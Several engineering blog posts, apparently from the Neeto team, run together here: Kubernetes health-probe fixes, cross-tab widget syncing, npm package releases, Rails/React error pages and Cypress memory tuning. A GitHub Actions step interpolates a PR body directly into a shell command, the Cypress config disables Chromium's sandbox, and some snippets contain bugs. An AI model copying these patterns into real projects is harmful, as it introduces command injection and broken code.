NAME                               READY  STATUS            RESTARTS  AGEbling-staging-web-656f74d9d-6kpzz  0/1    Terminating       0         2m38sbling-staging-web-79fc6f978-cdjf5  1/1    Running           0         35s

If we check the logs, we can see the health check request:

  [1] Puma starting in cluster mode...  [1] Installing dependencies...  [1] * Puma version: 6.3.1 (ruby 3.2.2-p53) ("Mugi No Toki Itaru")  [1] *  Min threads: 5  [1] *  Max threads: 5  [1] *  Environment: heroku  [1] *   Master PID: 1  [1] *      Workers: 1  [1] *     Restarts: () hot () phased [1] * Listening on http://0.0.0.0:3000 [1] Use Ctrl-C to stop [2024-02-10T02:40:48.944785 #23]  INFO -- : [bb9e756a-51cc-4d6b-9a4a-96b0464f6740] Started GET "/health_check" for 192.168.120.195 at 2024-02-10 02:40:48 +0000 [2024-02-10T02:40:48.946148 #23]  INFO -- : [bb9e756a-51cc-4d6b-9a4a-96b0464f6740] Processing by HealthCheckController#healthy as */* [2024-02-10T02:40:48.949292 #23]  INFO -- : [bb9e756a-51cc-4d6b-9a4a-96b0464f6740] Completed 200 OK in 3ms (Allocations: 691)

Now, the pod is marked as "Ready" only after the health check succeeds, in otherwords, only when the server is prepared to accept the requests.

Fixing the Startup probe for production applications

Once we released the health check for our deployments, we found that healthchecks were failing for all production applications but working for staging andreview applications.

We were getting the following error in our production applications.

Startup probe failed: Get "https://192.168.43.231:3000/health_check": http: server gave HTTP response to HTTPS client2024-02-12 06:40:04 +0000 HTTP parse error, malformed request: #<Puma::HttpParserError: Invalid HTTP format, parsing fails. Are you trying to open an SSL connection to a non-SSL Puma?>

From the above logs, it was clear that the issue was related to SSLconfiguration. On comparing the production environment configuration with theothers, we figured out that we had enabledforce_sslfor production applications. The force_ssl=true setting ensures that allincoming requests are SSL encrypted and will automatically redirect to their SSLcounterparts.

The following diagram broadly shows the path of an incoming request.

From the above diagram, we can infer the following things:

• SSL verification is happening in the ingress controller and not in the server.
• Client requests are going through the ingress controller before reaching theserver.
• Request from ingress controller to the pod is an HTTP request.
• The HTTP health check requests are directly sent from Kubelet to the pod anddo not go through the ingress controller.

Here is how our health check request works.

1. Kubeletsends an HTTP request to the server directly.
2. Since force_ssl is enabled,ActionDispatch::SSLmiddleware redirects the request to HTTPS.
3. When the HTTPS request reaches the server, Puma throwsAre you trying to open an SSL connection to a non-SSL Puma? error since noSSL certificates are configured with the server.

The solution to our problem lies in understanding why only the health checkrequest is rejected, whereas the request from the ingress controller is not,even though both are HTTP requests. This is because ingress controller sets someheaders before forwarding to the pod, and the header we are concerned about isX-FORWARDED-PROTO.The X-Forwarded-Proto header contains the HTTP/HTTPS scheme the client used toaccess the application. When a client makes an HTTPS request, the ingresscontroller terminates the SSL/TLS connection and forwards the request to thebackend service using plain HTTP after adding theX-Forwarded-Proto along withthe other headers.

Everything started working after adding the X-Forwarded-Proto header to ourstartup probe request.

startupProbe:  failureThreshold: 10  httpGet:    httpHeaders:      - name: X-FORWARDED-PROTO        value: https    path: <%= health_check_url %>    port: <%= port %>    scheme: HTTP  periodSeconds: 5  successThreshold: 1  timeoutSeconds: 60  initialDelaySeconds: 10

We also addedReadinessandLivenessprobes for our deployments.

If your application runs on Heroku, you can deploy it on NeetoDeploy without anychange. If you want to give NeetoDeploy a try, then please send us an email atinvite@neeto.com.

If you have questions about NeetoDeploy or want to see the journey, followNeetoDeploy on Twitter. You can also join ourSlack community to chat with us about any Neeto product.

The NeetoChat widget has a feature to synchronize its state across other widgetinstances you might have open in any other tab or window, in real-time. Thisability gives users the illusion of interacting with the same widget instanceacross tabs and provides a sense of continuity. For example, user interactionssuch as navigating to another page, and minimizing/maximizing the widgetperformed on a widget instance in one tab are reflected across widgets in everyother tab.

In fact, a widget or the underlying script cannot be shared between multiplebrowser contexts (tabs, windows, etc). All scripts in a context run in anisolated environment, strictly separate from other executing contexts. However,there are methods we can use to enable communication between two browsercontexts. Some of the popular choices are listed below. With a propercommunication channel set in place, two widget instances can notify each otherabout their user interactions and state updates in real time to be synchronized.

1. Use BroadcastChannel API
2. Use localStorage change listener
3. Use window.postMessage() method
4. Use Service Worker Post Message

With ease of implementation and compatibility across different browserenvironments in mind, we have chosen to implement this feature using thelocalStorage change listener. The details of the implementation can be splitinto two parts.

1. Navigation Checkpoint:

When opening a new widget instance in a new tab or window, the widget resumesfrom the last checkpoint, allowing the users to continue from where they leftoff. This implementation is pretty straightforward. Whenever the URL pathnamechanges, we keep a reference in the localStorage called "checkpoint".

const Router = ({ children }) => {  const history = useHistory();  const pathname = history.location.pathname;  const addCheckPoints = pathname => {    // Check if the current pathname matches any allowed routes.    // Only navigations to main pages are allowed to be added as checkpoints.    const isAllowed = ALLOWED_CHECKPOINT_ROUTES.some(route =>      matchPath(pathname, { path: route, exact: true, strict: true })    );    // Writes the pathname to localStorage with a unique identifier    if (isAllowed) localStorage.setItem("checkpoint", pathname);  };  // Run for every pathname changes  useEffect(() => {    addCheckPoints(pathname);  }, [pathname]);  return <App />;};

Now, upon initializing a new widget instance, we check localStorage for anyexisting checkpoint and set this as the initial route, presenting the user withthe same screen they visited last time.

const history = useHistory();// Run on initial mountuseEffect(() => {  const checkpoint = localStorage.getItem("checkpoint");  // Replace initial route with checkpoint from localStorage.  if (checkpoint) history.replace(checkpoint);}, []);

2. Real-time Synchronisation:

The above implementation only allows a new widget instance to start in the lastcheckpoint. From this point onwards, each state updates (minimize, maximize),and user navigation in one widget has to be synchronized in real time withactive widget instances in other tabs to maintain the same appearance across thetabs. At the core, this communication is enabled by adding a custom React hookcalled useWindowMessenger. The useWindowMessenger hook relies onlocalStorage values and localStorage change listeners for sending messages orevents across different browser contexts.

const storageKey = `__some_unique_localStorage_key__`;const origin = window.location.origin;const windowId = uuid(); // Assigns unique id for each browser contexts.const createPayload = message => {  const payload = {};  payload.message = message;  payload.meta = {};  payload.meta.origin = origin;  payload.meta.window = windowId;  return JSON.stringify(payload);};const useWindowMessenger = messageHandler => {  const messageHandlerRef = useRef();  messageHandlerRef.current = messageHandler;  const sendMessage = useCallback(message => {    const payload = createPayload(message);    // A new item is updated in local storage and immediately removed,    // This is sufficient to get the 'storage' event to be fired.    localStorage.setItem(storageKey, payload);    localStorage.removeItem(storageKey);  }, []);  useEffect(() => {    if (typeof messageHandlerRef.current !== "function") return;    const handleStorageChange = event => {      if (event.key !== storageKey) return;      if (!event.newValue) return;      const { message, meta } = JSON.parse(event.newValue);      // Every window has a unique `windowId` attached.      // If event originated from the same `window`, the event is ignored.      if (meta.window === windowId || meta.origin !== origin) return;      messageHandlerRef.current(message);    };    // `storage` event is fired whenever value updates are sent to localStorage    window.addEventListener("storage", handleStorageChange);    return () => {      window.removeEventListener("storage", handleStorageChange);    };  }, [messageHandlerRef]);  return sendMessage;};export default useWindowMessenger;

In essence, the useWindowMessenger hook returns a sendMessage function thatcan be used to send a message to widget instances in other tabs. Also, itaccepts a messageHandler callback that can receive and handle the messagessent by other instances.

Now, when one widget instance emits state and navigation change events, otherwidget instances handle these events to make necessary updates to their internalstate to mirror the changes. Below is a simplified example of how this was donein the NeetoChat widget.

import { useCallback } from "react";import { useHistory } from "react-router-dom";// useLocalStorage is an in-house implementation that sync its state value into localStorage and restores the last value on next load.import useLocalStorage from "@hooks/useLocalStorage";import useWindowMessenger from "@hooks/useWindowMessenger";export const MESSAGE_TYPES = {  STATE_UPDATE: "STATE_UPDATE",  PATH_UPDATE: "PATH_UPDATE",};const useWidgetState = () => {  // This internal state controls widget visibility and other behaviours.  const [widgetState, setWidgetState] = useLocalStorage(    "widgetState", // Unique localStorage key    { maximized: false }  );  const history = useHistory();  const pathname = history.location.pathname;  const sendMessage = useWindowMessenger(message =>    handleMessageTypes(message.type, message.payload)  );  const handleMessageTypes = (type, payload) => {    switch (type) {      // Actions such as minimize, maximize are received as "STATE_UPDATE"      case MESSAGE_TYPES.STATE_UPDATE:        // Payload contains new state values        // Commit new value updates to the internal state that controls widget.        setWidgetState(prevState => ({ ...prevState, ...payload }));        break;      // User navigation actions are received as "PATH_UPDATE"      case MESSAGE_TYPES.PATH_UPDATE:        // Payload contains new pathname        // Navigate to page if not already in the same page.        if (history.location.pathname !== payload) history.push(payload);        break;      default:        console.warn(`Unhandled message type: ${type}`);    }  };  // This function extends `setWidgetState` function by adding the ability to emit `STATE_UPDATE` event for each state update call.  const updateWidgetState = useCallback(async update => {    let nextState;    await setWidgetState(prevState => {      nextState = { ...prevState, ...update };      return nextState;    });    sendMessage({ type: MESSAGE_TYPES.STATE_UPDATE, payload });  }, []);  // Send "PATH_UPDATE" event for every path changes in the active widget.  useEffect(() => {    sendMessage({      type: MESSAGE_TYPES.PATH_UPDATE,      payload: pathname,    });  }, [pathname]);  return [widgetState, updateWidgetState];};

With the above setup, all the widget instances in different tabs act like asingle widget by mirroring the actions from the active instance.

In this blog, we'll look into how we build, release, and maintain these packagesto support our product development cycles. Let's take a look at some of thesekey packages.

neeto-cist

neeto-cist contains essential pureutility functions and forms the backbone of our development framework.

neeto-ui

neeto-ui is the foundational designstructure for our Neeto products. It contains basic-level components likeButtons, Input fields, etc.

neeto-molecules

Built on top of neeto-ui, the neeto-molecules package houses reusable UIelements like a login page, settings page, sidebars etc. It simplifies thecreation of consistent user experiences across Neeto products.

neeto-commons

neeto-commons store crucial elements such as initializers, constants, hooksand configurations shared across our entire product range. We wrote in greatdetail about thechallenges we faced while building neeto-commons.

Let's look at how we build, release, and maintain these packages.

Build

In general we use Babel to transpile andRollup to bundle with some exceptions.

Let's look at our standard build configuration.

import peerDepsExternal from "rollup-plugin-peer-deps-external";import svgr from "@svgr/rollup";import babel from "@rollup/plugin-babel";import resolve from "@rollup/plugin-node-resolve";import alias from "@rollup/plugin-alias";import json from "@rollup/plugin-json";import commonjs from "@rollup/plugin-commonjs";import styles from "rollup-plugin-styles";import aliases from "./aliases";export default {  input: {    Component1: "src/components/Component1",    Component2: "src/components/Component2",    //... rest of the entry points  },  output: ["esm", "cjs"].map(format => ({    format,    sourcemap: true,    //... other options  })),  plugins: [    // To automatically externalize peerDependencies in a Rollup bundle.    peerDepsExternal(),    // Inline any svg files    svgr(),    // To integrate Rollup and Babel.    babel({      exclude: "node_modules/**",      babelHelpers: "runtime",    }),    // To use third party modules from node_modules    resolve({ extensions: [".js", ".jsx", ".svg"] }),    // To define aliases while bundling package.    alias({ entries: aliases }),    // To convert .json files to ES6 modules.    json(),    // To convert CommonJS modules to ES6.    commonjs(),    // Handle styles    styles({      minimize: true,      extensions: [".css", ".scss", ".min.css"],    }),  ],};

When dealing with multiple entry points, passing an array of input is a commonmistake people make. The problem with an input array is that it will beduplicated if there is shared code. So, the best approach here is to pass akey-value object. This way, Rollup will create separate files for shared codeand reuse them everywhere.

Looking at the output, notice that we built it for CommonJS and ECMAScript.Even though we don't have any Node.js projects (we are mainly a Rails company),we still need the CommonJS format to run Jest tests and some scripts for buildand automation purposes.

When using Babel to transpile and Rollup to bundle, we ran into someconfiguration pain points.@rollup/plugin-babelplugin made the configuration far easier.@svgr/rollup converts normal svgfiles to react components.rollup-plugin-peer-deps-externalautomatically externalizes peer dependencies, keeping the bundle lean. Eventhough we don't have any CommonJS modules, it's better to add@rollup/plugin-commonjsso that if there is any deep in dependency rabbit hole.

Above is a simplified version of the Rollup configuration we use onneeto-cist, neeto-ui and neeto-molecules. We took a much simpler approachwhen building neeto-commons. The reason for abandoning bundling forneeto-commons is that within this package, we have a variety of commonly usedelements, such as components, hooks, initializers, constants, utils, etc., eachwith varying sizes and dependency requirements. If the host project only wantsto use a few simple util functions, we don't want them to be served with theentire bundle and need to install lots of dependencies.

Instead of serving everything from the root index.js, we useexports field in thepackage.json to specify which files can be imported by the host project. Belowis a sample of our exports.

"exports": {  "./react-utils": {    "import": "./react-utils/index.js",    "require": "./cjs/react-utils/index.js",    "types": "./react-utils.d.ts"  },  "./react-utils/*": {    "import": "./react-utils/*",    "require": "./cjs/react-utils/*",    "types": "./react-utils.d.ts"  },  "./utils": {    "import": "./utils/index.js",    "require": "./cjs/utils/index.js",    "types": "./utils.d.ts"  },  "./utils/*": {    "import": "./utils/*",    "require": "./cjs/utils/*",    "types": "./utils.d.ts"  },  "./initializers": {    "import": "./initializers/index.js",    "require": "./cjs/initializers/index.js",    "types": "./initializers.d.ts"  },  "./constants": {    "import": "./constants/index.js",    "require": "./cjs/constants/index.js",    "types": "./constants.d.ts"  }}

We export, for example, ./react-utils and ./react-utils/* because we want tosupport both import styles below.

import { useLocalStorage } from "neetocommons/react-utils";

import useLocalStorage from "neetocommons/react-utils/useLocalStorage";

We initially employed the first import style, but as we expanded, we recognizedthe necessity of supporting a more concise approach in smaller projects. Thissecond method involves importing solely the target file without additionaldependencies, significantly improving tree-shaking capabilities.

We also ensure we build for esm and cjs. Below is our simplified Babelconfig.

const defaultConfigurations = require("./defaultConfigurations");const alias = {  assets: "./src/assets",  neetocist: "@bigbinary/neeto-cist",  // others};module.exports = function (api) {  const config = defaultConfigurations(api);  config.sourceMaps = true;  config.plugins.push(    ["module-resolver", { root: ["./src"], alias }],    "inline-react-svg"  );  if (process.env.BABEL_MODE === "commonjs") {    config.overrides = [      {        presets: [["@babel/preset-env", { modules: "commonjs" }]],      },    ];  }  return config;};

When transpiling, we ensure aliases are correctly resolved, and if there are anySVG files, we inline them using theinline-react-svgplugin to make life easy for the host application. Below is our build script.

"scripts": {  "build:pre": "del-cli dist",  "build:es": "babel  --extensions \".js,.jsx\" src --out-dir=dist",  "build:cjs": "BABEL_MODE=commonjs babel  --extensions \".js,.jsx\" src --out-dir=dist/cjs",  "build:post": "node ./.scripts/post-build.mjs",  "build": "yarn build:pre && yarn build:es && yarn build:cjs && yarn build:post",}

Release

We did not want to create a release every time we merged a PR, and we alsodidn't want to manually release packages every time. Instead, we rely on GitHubLabels while running Github Actions to do the release.

We created three labels specifically for this purpose: patch, minor andmajor. As the names suggest, these labels help us create patch, minor andmajor versions. When we create a PR and want to do a release when merging,attach any of these labels, and GitHub Action will create releases accordingly.

name: "Create and publish releases"on:  pull_request:    branches:      - main    types: [closed]jobs:  release:    name: "Create Release"    runs-on: ubuntu-latest    if: >-      ${{ github.event.pull_request.merged == true && (      contains(github.event.pull_request.labels.*.name, 'patch') ||      contains(github.event.pull_request.labels.*.name, 'minor') ||      contains(github.event.pull_request.labels.*.name, 'major') ) }}

As evident from the code above, we trigger the Create and publish releasesGitHub Action only if any of the three aforementioned labels are present. Oncethat condition is met, we proceed to useyarn version toupdate the version.

- name: Bump the patch version and create a git tag on release  if: ${{ contains(github.event.pull_request.labels.*.name, 'patch') }}  run: yarn version --patch --no-git-tag-version- name: Bump the minor version and create a git tag on release  if: ${{ contains(github.event.pull_request.labels.*.name, 'minor') }}  run: yarn version --minor --no-git-tag-version- name: Bump the major version and create a git tag on release  if: ${{ contains(github.event.pull_request.labels.*.name, 'major') }}  run: yarn version --major --no-git-tag-version

Then, we extract changelogs from PR's title and description.

- name: Extract changelog  id: CHANGELOG  run: |    content=$(echo '${{ steps.PR.outputs.pr_body }}' | python3 -c 'import json; import sys; print(json.dumps(sys.stdin.read().partition("**Description**")[2].partition("**Checklist**")[0].strip()))')    echo "CHANGELOG=${content}" >> $GITHUB_ENV  shell: bash- name: Update Changelog  continue-on-error: true  uses: stefanzweifel/changelog-updater-action@v1  with:    latest-version: ${{ steps.package-version.outputs.version }}    release-notes: ${{ fromJson(env.CHANGELOG) }}

Finally, we publish the package to NPM.

- name: Publish the package on NPM  uses: JS-DevTools/npm-publish  with:    access: "public"    token: ${{ secrets.NPM_TOKEN }}

Maintenance

Now that the release is done, we need to propagate changes to our products. Forexample, we may have extracted an existing functionality from one of thepackages. Here is an example ofhow we standardized keyboard shortcuts in neetoand extracted out into a package. Now, the product team needs to remove thatfunctionality and use it from the package. Reaching out to each team and askingthem to replace it can be tedious, especially considering their priorities. Sowe came up with a plan to use customESLint rules to enforcethem, and we built eslint-plugin-neeto.

Let's look at a few examples of how we use eslint-plugin-neeto to enforcechanges on the product team.

There are some third-party packages we decided not to use when we found betteralternatives, and they even included our own. For example, bootstrap,moment.js, @bigbinary/neeto-utils, etc. To enforce this, we create ESLintrules called no-blacklisted-imports. This rule throws a lint error ifdevelopers attempt to commit changes that include these blacklisted imports.

Another example is that we moved higher-level constants, commonly utilizedacross various products, to neeto-commons. To enforce this, we created anESLint rule called use-common-constants. This rule detects any local importsand recommends importing from neeto-commons instead.

Here is another great blog post in which we explained the challenges we facedwhileadding translations and enforcing them using ESLint and Babel plugins.

These are just a few of the many ESLint and Babel plugins we created.

This blog is about how we automated handling and displaying error pages inneeto applications.

Before we jump in, let's look at Axios andZustand, two npm packages we heavily relyon.

Axios

We use Axios to make API calls. Axios allows us tointercept API calls and modify them if necessary.

axios.interceptors.request.use(request => {  // intercept requests});axios.interceptors.response.use(request => {  // intercept responses});

This feature is useful for tasks such as setting authentication tokens, handlingcase conversion for requests and responses, cleaning up sensitive headers whensending requests to third-party domains, etc. This is also a good place touniversally handle any errors on API calls.

Zustand

Zustand is a small, fast, scalable,barebones state management solution using simplified flux principles. We useZustand for state management instead of Redux/React context. Here is a simpleexample of how to create a store using Zustand.

import { create } from "zustand";const useBearStore = create(set => ({  bears: 0,  increasePopulation: () => set(state => ({ bears: state.bears + 1 })),  removeAllBears: () => set({ bears: 0 }),}));

To learn more about Zustand, check out theredocumentation.

Detecting errors

Let's look into how we handle errors in our applications. As a first step, let'sexamine the universal Axios response interceptor we wrote to detect any error.

import axios from "axios";axios.interceptors.response.use(null, error => {  if (error.response?.status === 401) {    resetAuthTokens();    window.location.href = `/login?redirect_uri=${encodeURIComponent(      window.location.href    )}`;  } else {    const fullUrl = error.request?.responseURL || error.config.url;    const status = error.response?.status;    //TODO: Notify the user that an error is occurred.  }  return Promise.reject(error);});

For each response, if it detects a 401 HTTP error, the code resets theauthentication tokens and redirects the user to the login page. For any othererror, we need to notify the user with an appropriate message.

Storing errors

When an error happens, the user could be on any page, so we should be able todisplay an error message no matter which page the user is on. For that, we needto store the error in a way that it can be retrieved from anywhere. This iswhere Zustand comes into play. It is very easy to create a store in Zustand andcan be used as a hook in React applications.

import { prop } from "ramda";import { create } from "zustand";const useDisplayErrorPage = () => useErrorDisplayStore(prop("showErrorPage"));export const useErrorDisplayStore = create(() => ({  showErrorPage: false,  statusCode: 404,  failedApiUrl: "",}));export default useDisplayErrorPage;

The code snippet above creates a Zustand store for storing error-related data.Additionally, it provides a hook that conveniently checks whether an error hasoccurred anywhere within the application.

Back to our Axios interceptor, we can store the error using theuseDisplayErrorPage hook.

import axios from "axios";import { useErrorDisplayStore } from "./useDisplayErrorPage";axios.interceptors.response.use(null, error => {  if (error.response?.status === 401) {    resetAuthTokens();    window.location.href = `/login?redirect_uri=${encodeURIComponent(      window.location.href    )}`;  } else {    const fullUrl = error.request?.responseURL || error.config.url;    const status = error.response?.status;    useErrorDisplayStore.setState({      showErrorPage: true,      statusCode: status,      failedApiUrl: fullUrl,    });  }  return Promise.reject(error);});

Display errors

Now, we can use the useDisplayErrorPage hook at the root of our Reactapplication. When an error happens, showErrorPage will become true; we canuse that to show an error page.

import useDisplayErrorPage from "./useDisplayErrorPage";import ErrorPage from "./ErrorPage";const Main = () => {  const showErrorPage = useDisplayErrorPage();  if (showErrorPage) {    return <ErrorPage />;  }  return <>Our App</>;};

Let's look at the ErrorPage component. The component reads the error data fromthe Zustand stores and displays the appropriate error message and the picture.

import { useErrorDisplayStore } from "./useDisplayErrorPage";import { shallow } from "zustand/shallow";const ERRORS = {  404: {    imageSrc: "not-found.png",    errorMsg: "The page you're looking for can't be found.",    title: "Page not found",  },  403: {    imageSrc: "unauthorized.png",    errorMsg: "You don't have permission to access this page.",    title: "Unauthorized",  },  500: {    imageSrc: "server-error.png",    errorMsg:      "The server encountered an error and could not complete your request.",    title: "Internal server error",  },};const ErrorPage = ({ statusCode }) => {  const { storeStatusCode, showErrorPage } = useErrorDisplayStore(    pick(["statusCode", "showErrorPage"]),    shallow  );  const status = statusCode || storeStatusCode;  const { imageSrc, errorMsg, title } = ERRORS[status] || ERRORS[404];  return (    <div className="flex flex-col items-center justify-center h-screen">      <title>{title}</title>      <img src={imageSrc} className="mb-4" alt="Error Image" />      <div className="text-lg font-medium">{errorMsg}</div>    </div>  );};

Custom error pages in Rails

Ruby on Rails comes with default error pages for commonly encountered requestssuch as 404, 500, and 422 errors. Each request has an associated static HTMLpage located within the public directory. Even though we can customize them tolook like our ErrorPage component, maintaining error pages in different placeswill be difficult, and in the long run, they can go out of sync. So, we decidedto use the ErrorPage component for these scenarios as well.

To accomplish this, we'll start by creating a controller namedErrorsController. This controller will contain a single show action, wherewe'll extract the error code from the raised exception and render theappropriate view.

class ErrorsController < ApplicationController  before_action :set_default_format  def show    @status_code = params[:status_code] || "404"    error = @status_code == "404" ?  "Not Found" : "Something went wrong!"    if params[:url]      Rails.logger.warn "ActionController::RoutingError (No route matches [#{request.method}] /#{params[:url]})"    end    respond_to do |format|      format.json { render json: { error: }, status: @status_code }      format.any { render status: @status_code }    end  end  private    def set_default_format      request.format = :html unless request.format == :json    endend

Next, we'll create a view file for this show action. In this view file, wewill render the Error component and pass error_status_code to it as props.

<%= react_component("Error", { error_status_code: @status_code }, { class: "root-container" }) %>

In the Error component, we will render the same ErrorPage component createdabove and pass the error status code received.

import React from "react";import ErrorPage from "./ErrorPage";const reactProps = JSON.parse(  document.getElementsByClassName("root-container")[0]?.dataset?.reactProps ||    "{}");const Error = () => <ErrorPage status={reactProps.error_status_code} />;export default Error;

Now add the following route in the config/routes.rb file to point 404 and500 requests to the show action in the ErrorsController.

Rails.application.routes.draw do  match "/:status_code", constraints: { status_code: /404|500/, format: :html }, to: "errors#show", via: :allend

Finally, we need to tell the Rails application to use our new controller androutes setup instead of those HTML templates in the public directory. For this,add the following to the class Application < Rails::Application block inconfig/application.rb file.

config.exceptions_app = self.routes

Handling unmatched routes

Sometimes, we get random requests from bots and crawlers to access the pathsthat don't exist. When this occurs, our server raises anActionController::RoutingError exception. This also happens when a usermistypes a URL. However, in such cases, instead of just throwing the exception,we should inform the user that what they are requesting does not exist byshowing a 404 page.

To handle this, we implemented a catch_all route, as the name suggests, whichcatches any routes that don't match already defined routes, which will be placedat the end of our routes configuration. This placement ensures that it is onlycalled if a request doesn't match any other defined route.

Rails.application.routes.draw do  #Define other routes here...  #Catch-all route for handling errors  match ":url", to: "errors#show", via: :all, url: /.*/, constraints: -> (request) do    request.path.exclude?("/rails/")  endend

This route also uses the same ErrorsController mentioned above for handlingunmatched requests and will show a 404 page.

We detected that the Chromium Renderer process just crashed.This is the equivalent of seeing the 'sad face' when Chrome dies.This can happen for a number of different reasons:- You wrote an endless loop and you must fix your own code- You are running Docker (there is an easy fix for this: see link below)- You are running lots of tests on a memory intense application.    - Try enabling experimentalMemoryManagement in your config file.    - Try lowering numTestsKeptInMemory in your config file.- You are running in a memory starved VM environment.    - Try enabling experimentalMemoryManagement in your config file.    - Try lowering numTestsKeptInMemory in your config file.- There are problems with your GPU / GPU drivers- There are browser bugs in ChromiumYou can learn more, including how to fix Docker here:https://on.cypress.io/renderer-process-crashed

The occurrence of the crashes was rare initially. But as our test suitesexpanded the crash frequency increased as well. The crashes were so frequent ata point in time that none of our tests would run to completion. Neither thesolutions mentioned in the official documentation nor the suggestions in thecommunity discussions (like enabling experimentalMemoryManagement) wereeffective. This led us to investigate this problem.

About our CI setup

We used to run Cypress onCircleCIon a medium Docker resource class. This resource class allocates 4GB of memoryto the process. Later on, we moved to our home-grown CI solution,NeetoCI for running our Cypress tests whichgave us much more control over the test environment.

The investigation setup

Since the errors were caused because Cypress ran out of memory, we started bylooking into the resource utilization on the VM environment. We noticed thatnone of the crashed runs used more than 50% of the allotted memory. The memorystarvation while using only a portion of the allocated resources, meant thatCypress was not utilizing the full memory.

We couldn't reproduce this issue reliably, so we attempted to simulate the errorby creating a high memory usage scenario. For the simulation, we created a dummytest that takes the following steps.

1. Visit a page.
2. Get an element.
3. Save the element in the memory as a new alias.
4. Repeat steps 1-3 infinitely until the browser crashes.
5. During each iteration, log the iteration number to know how many iterationswere completed successfully before the crash.

For logging the iteration number, we used theCypress task - log is illustratedin the official documentation. The iteration number provided us with anadditional metric to compare the performance of the solutions we tried. The codefor implementing the investigation setup can be seen below.

const saveButtonAsAlias = iteration => {  cy.get(".button").as(`button-${iteration}`);  saveButtonAsAlias(iteration + 1);  cy.task("log", iteration);};it("dummy test", () => {  cy.visit("/");  saveButtonAsAlias(1);});

The above code will save the same button component as different aliases in thememory thus simulating a high memory usage test environment. On executing thistest we saw that the memory usage peaked at about 1GB - 1.5GB in a 4GB dockerenvironment before the browser crashed.

Solutions

1. Using an alternate browser

Even though Google Chrome is the most popularbrowser in the market, it's far from being the most memory-efficient. So wetested out with other chromium-based browsers available for Cypress andconcluded that Microsoft Edge ran thetests in a much more memory-efficient manner. While running the dummy test, weobserved the memory usage by each of the browsers and compared the results.

Google Chrome ran the tests faster and crashed first when memory was starved.Microsoft Edge ran the tests at a similar pace initially, but when the memorywas almost used up completely, the tests slowed dow,n and the browser startedrigorous garbage collection. The memory usage was increasing at a gradual rateand more iterations were completed successfully, as compared to Chrome, beforethe browser crashed. The table below shows the runtime comparison between GoogleChrome and Microsoft Edge (higher runtime is better).

<table><tr><td> Attempt </td><td> Google Chrome runtime before crash </td><td> Microsoft Edge runtime before crash </td></tr><tr><td>1</td><td>0:45</td><td>0:59</td></tr><tr><td>2</td><td>0:46</td><td>1:00</td></tr><tr><td>3</td><td>0:45</td><td>1:01</td></tr></table>

While switching the browser improved the completion rate of the runs, it stilldidn't solve the issue completely. This led us to look for further enhancements.

2. Increasing the max-old-space-size

The most unusual behaviour we noticed in resource utilization was that Cypressdid not use the entire allocated memory before crashing. To understand whyCypress behaves like this we need to have a basic understanding of itsarchitecture which can be seen below.

Cypress works as two different processes. The NodeJS application and the browseron which the tests run. When executing cypress run and cypress opencommands, we start the NodeJS application. This NodeJS application goes throughour tests and configuration and loads them into our preferred browser where theyare executed.

The split architecture of Cypress means that the memory allocation for theNodeJS process and the Chromium browser are different. This is why the totalmemory usage by the NodeJS process doesn't give us proper insights into why theChromium process crashed and was starved of memory. To analyze the browsermemory usage we used the browserPerformance APIs.

We found that the Cypress tests were allocated only about 500MB of memorydespite the test environment having 4GB of memory. So the solution was toincrease the heap memory allocated to the chromium renderer. Themax-old-space-sizecommand-line flag is used to set the V8 engine's maximum old memory limit. Whenthe memory usage approaches this limit, garbage collection begins in an effortto free up memory. So by manually increasing the max-old-space-size for thechromium renderer, we can increase the heap memory allocated to it.

If it were a node application, the process of increasing themax-old-space-size would be as simple as executing the Cypress commandlike-wise:

NODE_OPTIONS=--max-old-space-size=3500 yarn cypress run

But because of the split architecture, executing the above command onlyincreases the max-old-space-size for the NodeJS application and not the actualCypress tests running in the Chromium browser. To increase themax-old-space-size for the Chromium renderer we need to make use of theBrowser launch APIsprovided by Cypress.

// cypress.config.jsconst { defineConfig } = require("cypress");module.exports = defineConfig({  // setupNodeEvents can be defined in either  // the e2e or component configuration  e2e: {    setupNodeEvents(on, config) {      on("before:browser:launch", (browser = {}, launchOptions) => {        launchOptions.args.push("--js-flags=--max-old-space-size=3500");        return launchOptions;      });    },  },});

In the configuration above, we can see that we have passed in the--max-old-space-size command line flag within the --js-flags Chromium flag.This is because Chromium expects NodeJS options using the --js-flags commandline switch. The above configuration increases the maximum usable heap size ofthe Cypress tests to 3500MB.

Depending on the available memory on the test environment, we can increase ordecrease the max-old-space-size value. The benchmarking results we receivedafter making this configuration change showed a significant improvement in theperformance. The table below documents the runtime comparison between thedefault max-old-space-size and max-old-space-size set to 3500 MB (higherruntime is better).

<table><tr><td> Attempt </td><td>Runtime before crash with default <code>max-old-space-size</code></td><td>Runtime before crash with <code>max-old-space-size=3500</code></td></tr><tr><td>1</td><td>0:44</td><td>2:22</td></tr><tr><td>2</td><td>0:45</td><td>2:20</td></tr><tr><td>3</td><td>0:45</td><td>2:21</td></tr></table>

The benchmark above shows the improvement in performance after increasing themax-old-space-size in the Google Chrome browser. By switching the browser toMicrosoft Edge we got even better results. The table below shows the runtimecomparison between the default max-old-space-size and max-old-space-size setto 3500 MB in each of these browsers (higher runtime is better).

<table><tr><td> Attempt </td><td colspan="2">Runtime before crash with default <code>max-old-space-size</code></td><td colspan="2">Runtime before crash with <code>max-old-space-size=3500</code></td></tr><tr><td></td><td>Google Chrome</td><td>Microsoft Edge</td><td>Google Chrome</td><td>Microsoft Edge</td></tr><tr><td>1</td><td>0:44</td><td>0:59</td><td>2:22</td><td>2:40</td></tr><tr><td>2</td><td>0:45</td><td>1:00</td><td>2:20</td><td>2:38</td></tr><tr><td>1</td><td>0:45</td><td>1:01</td><td>2:21</td><td>2:37</td></tr></table>

Additional tips to reduce memory usage in Cypress

1. Chromium browsers sandbox the pages which increases the memory usage. Sincewe're running the Cypress tests on trusted sites, we can enable the--no-sandbox flag to reduce memory consumption.

2. When running Cypress tests in headless mode, we can disable the WebGLgraphics on the rendered pages to avoid additional memory usage by passingthe --disable-gl-drawing-for-tests flag.

3. When running tests on low-resource machines, using hardware acceleration canimpact performance. To avoid this we can pass the --disable-gpu flag.

// cypress.config.jsconst { defineConfig } = require("cypress");module.exports = defineConfig({  // setupNodeEvents can be defined in either  // the e2e or component configuration  e2e: {    setupNodeEvents(on, config) {      on("before:browser:launch", (browser, launchOptions) => {        if (["chrome", "edge"].includes(browser.name)) {          if (browser.isHeadless) {            launchOptions.args.push("--no-sandbox");            launchOptions.args.push("--disable-gl-drawing-for-tests");            launchOptions.args.push("--disable-gpu");          }          launchOptions.args.push("--js-flags=--max-old-space-size=3500");        }        return launchOptions;      });    },  },});

Conclusion

